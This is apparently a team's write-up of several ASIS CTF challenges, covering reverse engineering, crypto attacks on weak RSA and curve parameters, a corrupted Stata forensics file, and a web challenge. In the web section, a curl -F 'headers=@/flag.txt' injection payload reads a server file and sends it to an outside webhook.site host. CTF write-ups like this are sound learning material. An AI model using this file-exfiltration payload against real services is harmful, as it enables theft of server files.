Rexy (Reverse, 53 solves)

Solved by fsharp

A Linux program and an encrypted flag are provided. Opening the program in Ghidra, we find that it reads the plaintext flag from a file before passing it into an encryption function that involves randomness from rand(), buffers that get allocated only to be freed up without being used, and base conversions.

Looking closer, some parts of this function are actually redundant and only exist to confuse us. The actual encryption algorithm is quite simple and can be written as:

def encrypt(pt):
    ct = ""
    pos = 0
    for c in pt:
        pos += 1
        pos_squared = (pos ** 2) ^ 0x19
        xord_c = ord(c) ^ pos_squared ^ 0x69b2 ^ 0x11f0b8
        based_c = format(int(format(xord_c, 'o')), 'X')
        ct += based_c
    ct = ct[::-1] + "5ADB"
    return ct

We write the decryption algorithm and get the flag:

def decrypt(ct):
    pt = ""
    pos = 0
    ct = ct.rstrip("5ADB")[::-1]
    for i in range(0, len(ct), 6):
        pos += 1
        pos_squared = (pos ** 2) ^ 0x19
        based_c = ct[i : i + 6]
        xord_c = int(str(int(based_c, 16)), 8)
        c = chr(xord_c ^ pos_squared ^ 0x69b2 ^ 0x11f0b8)
        pt += c
    return pt

encrypted = open("flag.enc").read().strip()
flag = decrypt(encrypted)
print(flag)

The plaintext is:

Congratulation! You got the flag:
+ASIS{W00twootW00t_HappyNewYear}+
Have fun and good luck new year!!

Deserve (Reverse, 32 solves)

Solved by harrier, grhkm

We are given an ARM binary that takes input from stdin and outputs an encoded message. By disassembling the binary, we see that the main function is located at 0xBE0. We decided to perform static analysis first, which in hindsight is not the best idea, but we will see why later.

The code can be splitted into two parts.

Here is the first part:
__int64 __fastcall sub_BE0(_BYTE *a1, unsigned __int64 *input_len) {
    // ...
    input = a1;
    v3 = *input_len;
    v5 = malloc(4 * input_len);
    if ( !v5 )
      sub_F60("malloc");
    if ( v3 ) {
    v6 = 0LL;
    i = 0LL;
    b_loc_table = (__int64 *)__ctype_b_loc();
    v9 = 0;
    do
    {
      cur_char = (unsigned __int8)input[i];
      v3 = v6;
      v11 = *b_loc_table;
        
      // Check 1
      if ( (*b_loc_table + 2LL * cur_char) & 8 )
      {
        ++v9;
        *(_BYTE *)(v5 + v6) = cur_char;
        v6 = v9;
        v3 = v9;
      }
        
      // Check 2
      else if ( cur_char == 32 )
      {
        if ( v9 > 1
          && (v11 + 2LL * *(unsigned __int8 *)(v5 + v6 - 1)) & 0x200
          && (v5 + v6 - 2) == '+' )
        {
          v39 = *(unsigned __int8 *)(v5 + v6 - 1);
          *(_BYTE *)(v5 + v6 - 1) = *(_DWORD *)(*(_QWORD *)__ctype_toupper_loc() + 4 * v39);
        }
        else
        {
          ++v9;
          *(_BYTE *)(v5 + v6) = '/';
          v6 = v9;
          v3 = v9;
        }
      }
        
      else
      {
        if ( !input[i] )
          goto LABEL_9;
        
        // Check 3
        v33 = strchr("@$_!\"#%&'()*+,-./:;<=>?\n", (unsigned __int8)input[i]);
        if ( v33 )
        {
          v34 = v9 + 1;
          v9 += 2;
          *(_BYTE *)(v5 + v6) = '+';
          v6 = v9;
          v3 = v9;
          *(_BYTE *)(v5 + v34) = v33 - (unsigned __int64)"@$_!\"#%&'()*+,-./:;<=>?\n" + 0x61;
        }
          
        else
        {
          // Check 4
          v35 = strchr("[\\]^{|}~`\t", v10);
          if ( !v35 )
    LABEL_9:
            sub_F30("Invalid input! Sorry!!", v11);
          v36 = v9 + 1;
          v37 = v9 + 2;
          v9 += 3;
          *(_BYTE *)(v5 + v6) = '+';
          v6 = v9;
          *(_BYTE *)(v5 + v36) = '+';
          v3 = v9;
          *(_BYTE *)(v5 + v37) = v35 - (unsigned __int64)"[\\]^{|}~`\t" + 0x61;
        }
      }
      ++i;
    }
    while ( i < len );
    // ...
}

As annotated, there are multiple checks. The binary first checks (*b_loc_table + 2LL * cur_char) & 8, where b_loc_table is the returned pointer from __ctype_b_loc(). Looking into C header files, we see that the function __ctype_b_loc is defined inside ctype.h, where it has the following comment:

/*
   These point into arrays of 384, so they can be indexed by any `unsigned
   char' value [0,255]; by EOF (-1); or by any `signed char' value
   [-128,-1).  ISO C requires that the ctype functions work for `unsigned
   char' values and for EOF; we also support negative `signed char' values
   for broken old programs.  The case conversion arrays are of `int's
   rather than `unsigned char's because tolower (EOF) must be EOF, which
   doesn't fit into an `unsigned char'.  But today more important is that
   the arrays are also used for multi-byte character sets.
*/

extern const unsigned short int **__ctype_b_loc (void) __THROW __attribute__ ((__const__));

#define __isctype(c, type) ((*__ctype_b_loc ())[(int) (c)] & (unsigned short int) type)
#define isalnum(c)     __isctype((c), _ISalnum)

// LITTLE ENDIAN
#define _ISbit(bit) ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))

enum
{
  _ISupper = _ISbit (0),        /* UPPERCASE.  */
  _ISlower = _ISbit (1),        /* lowercase.  */
  _ISalpha = _ISbit (2),        /* Alphabetic.  */
  _ISdigit = _ISbit (3),        /* Numeric.  */
  _ISxdigit = _ISbit (4),       /* Hexadecimal numeric.  */
  _ISspace = _ISbit (5),        /* Whitespace.  */
  _ISprint = _ISbit (6),        /* Printing.  */
  _ISgraph = _ISbit (7),        /* Graphical.  */
  _ISblank = _ISbit (8),        /* Blank (usually SPC and TAB).  */
  _IScntrl = _ISbit (9),        /* Control character.  */
  _ISpunct = _ISbit (10),       /* Punctuation.  */
  _ISalnum = _ISbit (11)        /* Alphanumeric.  */
};

In short, its just a “character characteristic” lookup table, a C way to check isalpha / etc.

The above code is equivalent to something like this in pseudocode:

storage = ""
for all char c in input:
  if c is alphabetic:
    storage += c
  else if c is space:
    if previous two in storage is ~=`+[a-zA-Z0-9]`:
      update the previous two to become upper case
    else:
      storage += "/"
  else:
    charset = "@$_!\"#%&'()*+,-./:;<=>?\n"
    if c in charset:
      index = charset.find(c)
      storage += f"+{index}"
    else:
      charset = "[\\]^{|}~`\t"
      if not in charset:
        return error and exit
      storage += f"++{index}"
if len(storage) mod 3 != 0:
  storage += "/" * (3 - len(storage) mod 3)
 
storage = base64_decode(storage)

At first, I was so puzzled as I misread the first condition thinking it only checks for numeric characters (turns out it is checking for alphanumeric characters instead, so it make perfect sense), and this makes no sense if the input is a flag.

And my teammate grhkm reminds me I should try base64 conversion first, and I see this:

Compressin
g/short/messages/is/essential+Nso/ASIS/has/developed/new/one+xThe/flag/for/t
his/task/is+RASIS++ec0mprEs51nG+csHOr7+ct3xT+cmE5s49es+cASIS+d++g///

So clearly this is the flag, and we can just reverse the ++e etc syntax with the algorithm we reverse above. And this yields us the flag easily.

RaaS-v1 (Web, 68 solves)

Solved by fsharp

We’re given a URL and an archive file containing the source code for the webpage. The goal is to read the contents of /flag.txt by exploiting a vulnerability.

The webpage allows us to request any webpage with a request method of our choice and with the ability to send any form data. The source code is:

<?php

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
	die('curl :thonk:');
}

$url = 'http://localhost';
$method = 'GET';
$formParams = [];

if(isset($_GET['url'])){
	$url = $_GET['url'];
}

if(isset($_GET['method'])){
	$method = $_GET['method'];
}

if(isset($_GET['formParams'])){ 
	$formParams = $_GET['formParams'];
}

$cmd = 'curl ';
$cmd .= '--proto -file '; 
$cmd .= escapeshellarg($url).' ';
$cmd .= '-X ';
$cmd .= escapeshellarg($method).' ';


foreach($formParams as $key => $value){
	if(preg_match("/^\w+$/",$key)){
		$cmd .= '-F ';
		$cmd .= escapeshellarg($key.'= '.$value);
	}
}

header('Content-Type: text/plain');
system($cmd);

Our parameters are passed to the escapeshellarg() function, which adds quotes around them.

As hinted by the challenge description, the vulnerability could be found if one reads the documentation of the curl command carefully. Referring to the -F section of its manpage, it can be seen that custom headers could be added to the request by reading from a file as follows:

curl -F "submit=OK;headers=@headerfile" example.com

It is important to note that $key and $value are not filtered at all (e.g. check if characters like @, ;, = or / are included), which means it is possible for us to use the above command format to read from any file.

By opening a webhook and sending data to it by navigating to http://raas-v1.asisctf.com:9000/?url=https://webhook.site/blah&formParams[a]=b;headers=@/flag.txt, we can forge the following command:

curl --proto -file 'https://webhook.site/blah' -X 'GET' -F 'a= b;headers=@/flag.txt'

…and get the flag!

Bedouin (Crypto, 79 solves)

Solved by LifeIsHard

The challenge encrypts the message through RSA, but with a unique(ly weak) way of generating the parameters, defined as follows:

from secret import nbit, l, flag

def genbed(nbit, l):
    while True:
        zo = bin(getPrime(nbit))[2:]
        OZ = zo * l + '1'
        if isPrime(int(OZ)):
            return int(OZ)

p, q = [genbed(nbit, l) for _ in '01']
n = p * q
d = 1 ^ l ** nbit << 3 ** 3
phi = (p - 1) * (q - 1)
e = inverse(d, phi)
m = bytes_to_long(flag)
c = pow(m, e, n)

if pow(c, d, n) == m:
    print(f'n = {n}')
    print(f'c = {c}')

In short, the algorithm first generates $p$ and $q$ by

  • Defining $l$ and $b$ (nbit in the code), both unknown to us
  • Generates a (essentially) random $b$-digit binary string $zo$
  • Define $p = \underbrace{zo \mathbin\Vert zo \mathbin\Vert \cdots \mathbin\Vert zo}_{l , \mathrm{of} , zo} \mathbin\Vert 1$ and interpret it as a base-10 integer
  • If $p$ is not a prime, repeat the generation process. $q$ is generated in the same manner.

Now, the algorithm generates the remaining RSA parameters by

  • $N = pq$
  • $d = \left(27 \cdot l^{b}\right) \mathbin{|} 1$
  • $e = d^{-1} \ \mathrm{mod} \ (p - 1)(q - 1)$
  • $c = m^e \ \mathrm{mod} \ N$

Firstly, from the output given we see that $N$ is a $617$-digit integer. On the other hand, the generation process shows that $p$ and $q$ have $(lb + 1)$ digits, meaning that $N = pq$ has either $2(lb + 1) - 1$ or $2(lb + 1)$ digits. From this, we deduce that $lb = 308$, which means $b$ is one of the divisors of $308 = 2^2 \cdot 7 \cdot 11$. Trying each divisor in order and computing the corresponding $d$, we get the correct answer $(l, b) = (11, 28)$.

Monward (Crypto, 30 solves)

Solved by Mystiz

Groebner basis is the perfect tool to solve annoying system of equations. Using the relation given by monon(C, P) == monon(C, Q) == monon(C, R) == monon(C, enc), we can construct an ideal from which we can recover $a$, $d$ and $p$. See the code for more details:

V.<a, d, p> = ZZ['a, d, p']
terms = []
for (x, y) in [P, Q, R, enc]:
    terms.append(a * x^2 + y^2 - d * x^2 * y^2 - 1)
I = Ideal(V, terms)
I.groebner_basis()
# [a + 110062003148225401725628246404818446720450976623225313995311,
#  d + 154490734938099229849569067657352117192562308729750369601751,
#  209488070485061880311886074351169939903472896311680134404680]

Eventually we found

p = 5237201762126547007797151858779248497586822407792003360117
d = 2625317925697180384345488106025337735042363504009731201759
a = 5156435618558632445909094488325020226459116348198759927263

We can also retrieve the order of the curve being q = 5237201762126547007797151858841639845712665151660067904384, which can be factorized to

$$\begin{aligned} 2^7 & \times 7 \times 1283 \times 537221 \times 922861 \times 2073361 \\ & \times 14270791 \times 91806719 \times 1025744989 \times 3297907903. \end{aligned}$$

Since I am lazy to map the Edward’s curve into a standard elliptic curve for discrete log, I implemented the Pohlig-Hellman algorithm myself. Eventually we got the flag ASIS{MoN7g0m3ry_EdwArd5_cuRv3}.

Vindica (Crypto, 32 solves)

Solved by LifeIsHard

The challenge first generates parameters $p$, $q$, $e$, $n = pq$ and $N = (p^2 - 1)(q^2 - 1)$. It then encrypts the flag in a RSA-like protocol, defined as follows:

def two_layencrypt(msg, pkey):
    e, n, _ = pkey
    Zn = Zmod(n)
    m = bytes_to_long(msg)
    c = pow(m, e, n)
    _c = str(c)
    l = len(_c)
    _C = matrix(Zn, [[_c[:l//4], _c[l//4:l//2]], [_c[l//2:3*l//4], _c[3*l//4:l]]])
    assert gcd(det(_C), n) == 1
    C = _C ** e
    return C

In addition to the encrypted matrix, we are also given $e, n, N$.

In short, the algorithm

  • Encrypts the flag with normal RSA by raising it to the $e^{\mathrm{th}}$ power modulo $n$.
  • Splits the base-10 digits of $c$ into four pieces $c_1, c_2, c_3, c_4$
    • For example, $c = 12345678 \to (c_1, c_2, c_3, c_4) = (12, 34, 56, 78)$.
  • Encrypts the matrix $\bigl( \begin{smallmatrix} c_1 & c_2 \ c_3 & c_4 \end{smallmatrix} \bigr)$ with RSA again by raising it to the $e^{\mathrm{th}}$ power modulo $n$.

It is clear that our goal is to recover the primes $p$ and $q$. We note that since we are given both $n$ and $N$, both of which are defined by $p$ and $q$, we have the following system of equations:

$$ \begin{cases} n = pq \\ N = (p^2 - 1)(q^2 - 1) \end{cases} $$

Solution 1 (LifeIsHard)

One method to solve the equations is by rewriting $N = p^2q^2 - (p^2 + q^2) + 1 = n^2 + 2n + 1 - (p + q)^2$. Then, we can recover $p + q$. Finally, note that $p$ and $q$ are roots to the quadratic polynomial $(x - p)(x - q) = x^2 - (p + q)x + n$, we can factor $p$ and $q$.

Solve script (excerpt):

from z3 import *

p = Int('p')
q = Int('q')

print(solve((p**2 - 1)*(q**2 - 1) == N, p * q == n))

Solution 2 (grhkm)

Another method to solve this is using Groebner basis. We construct the Ideal $\left<n - pq, N - (p^2 - 1)(q^2 - 1)\right> \subset \mathbb{Z}[p, q]$, and hope one of the reduced terms is univariate. Note that the default ordering in Sage is degrevlex, standing for “Degree reverse lexicographic”. However, the degree of the reduced basis doesn’t matter for us, just that it is univariate. Therefore, the lex ordering is more suitable for us.

Solve script (excerpt):

p, q = ZZ['p, q'].change_ring(order='lex').gens()
I = Ideal([n - p * q, N - (p^2 - 1) * (q^2 - 1)])
for basis in I.groebner_basis():
    try:
        print(basis.univariate_polynomial().roots())
    except TypeError as e:
        pass

Finally, we can recover $c$ by $c = C^{(e^{-1} \ \mathrm{mod} \ N)}$, and decrypt RSA as usual for the flag.

Why is $N$ even provided? Well, it is supposed to serve as the public key modulus for the matrix group $GL(2, \mathbb{Z} / n\mathbb{Z})$, also known as the group of all invertible $2 \times 2$ matrices. By considering the size of the group under mod $p$ and mod $q$ and applying the Chinese Remainder Theorem, we get the modulus! This is also how the decryption process works.

Rhyton (Crypto, 17 solves)

Solved by Mystiz, LifeIsHard, grhkm

In the problem, we are given L = 110 sets of data, generated through the following code:

# nbit, delta, L = 512, 0.14, 110
def gen_rhyton(nbit, delta, L):
	p, q = [getPrime(nbit) for _ in '01']
	n = p * q
	D = int(n ** (1 - delta))
	phi = (p - 1) * (q - 1)

	V = [getRandomRange(1, n - 1) for _ in range(L)]
	U = [phi * v // n for v in V]

	W, i = [], 0
	while True:
		w = getRandomRange(phi * V[i] - U[i] * n - D, phi * V[i] - U[i] * n + D)
		if abs(phi * V[i] - U[i] * n - w) < D and w < n:
			W.append(w)
			i += 1
		if i == L:
			break
	return (p, q, U, V, W)

In short, the function

  • Generates 512-bit primes $p$ and $q$ and computes $\varphi = (p - 1)(q - 1)$ and $N = pq$
  • Defines $D := \lfloor N^{0.86} \rfloor$
  • Generates 110 random integers $v_i \in [1, N - 1)$
  • Defines $u_i := \lfloor \frac{\varphi v_i}{N} \rfloor$
  • Defines $X_i := \varphi v_i - N u_i$
  • Generate 110 random integers $w_i \in [X_i - D, X_i + D)$.
  • Returns the data $(p, q, (v_i, u_i, w_i))$.

Firstly, we can rewrite the defining definition of $w_i$ as

$$|w_i - X_i| < D \implies |w_i + Nu_i - \varphi v_i| < D \approx N^{0.86}$$

This means that the quantity $w_i + Nu_i - \varphi v_i$ is “small”. Furthermore, since the quantities $N, w_i, v_i$ are known, this is a standard application of lattice-reduction algorithms. As a note, we may write $\varphi = N - \varphi'$, where $\varphi' \approx N^{0.5}$, which may perform better in the lattice.

Lattice construction ($110 \times 112$):

$$\begin{pmatrix} w_0 & w_1 & \cdots & w_{109} & 1 & n \\ -v_0 & -v_1 & \cdots & -v_{109} & 0 & -1 \\ n & 0 & \cdots & 0 & 0 & 0 \\ 0 & n & \cdots & 0 & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots & \vdots \\ 0 & 0 & \cdots & n & 0 & 0 \end{pmatrix}$$

Solve script:

for i in range(110):
    A[0,   i]   = W[i]
    A[1,   i]   = -V[i]
    A[2+i, i]   = n

if True:
    A[0,   110] = 1
    A[0,   111] = n
    A[1,   111] = -1

weights = [1/int(n^0.86) for _ in range(110)] + [1, 1/int(n^0.5)]

Q = diagonal_matrix(weights)

A *= Q
A = A.LLL() # <-
A /= Q

Fun fact: The solve script works with $4$ data points instead of $110$.

Basic (Forensics + Misc, 34 solves)

Solved by fsharp

A file called basic.raw is given to us.

Opening it in a hex editor, it appears to be a corrupted Stata .dta file. Referring to a website that describes the file format and the sample file it references, we can notice 3 errors with the file and fix them manually as follows:

  1. The beginning of the file should be replaced with <stata_dta><header><release>118</release><byteo.
  2. The end of the file should be replaced with rls></strls><value_labels></value_labels></stata_dta>.
  3. ‘Blank’ regions of the file should contain 0x00s. So, replace the 0xA3s in the varnames section with 0x00s.

Afterwards, we can read the file using the Pandas library. We get a few hundred rows of data, where each row contains 3 columns:

  1. position: A number.
  2. isflagchar: Is this a character for the flag?
  3. md5charsalt: An MD5 hash.

The description of the md5charsalt variable given by the file is specifically md5(char + 'SALT'). I took it literally and tried to find the characters with the salt as SALT, but none were found.

Initially, I was confused with what the challenge was asking for. However, Mystiz looked up a few of those hashes on reverse MD5 websites and found that the salt was actually s4Lt. Thanks to his help and with a little more guessing, I was able to complete my script and solve this challenge:

from hashlib import md5
from pandas import read_stata

df = read_stata("repaired.dta")

hashes = set()
flag = []

for (position, isflagchar, md5charsalt) in zip(df["position"], df["isflagchar"], df["md5charsalt"]):
    if isflagchar == 'Y':
        hashes.add(md5charsalt)
        flag.append([position, md5charsalt])

hashes = list(hashes)
flag = [md5charsalt for [position, md5charsalt] in sorted(flag)]

for hash in hashes:
    for c in range(32, 127):
        s = "s4Lt" + chr(c)
        if md5(s.encode()).hexdigest() == hash:
            for i in range(len(flag)):
                if flag[i] == hash:
                    flag[i] = chr(c)
            break

print(''.join(flag))